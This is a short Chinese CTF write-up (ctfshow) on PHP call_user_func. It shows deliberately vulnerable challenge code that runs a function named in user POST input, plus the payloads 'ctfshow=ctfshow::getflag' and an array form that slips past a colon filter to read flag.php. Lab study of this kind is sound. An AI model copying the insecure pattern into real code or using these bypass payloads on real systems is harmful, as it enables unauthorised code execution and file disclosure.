PHP特性:类中函数调用的两种方式
一、::调用
<?php
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
ctfshow=ctfshow::getflag
二、数组调用:
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}
call_user_func($_POST['ctfshow']);
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
其中格式为:
参数[0]=类名&参数[1]=调用的方法名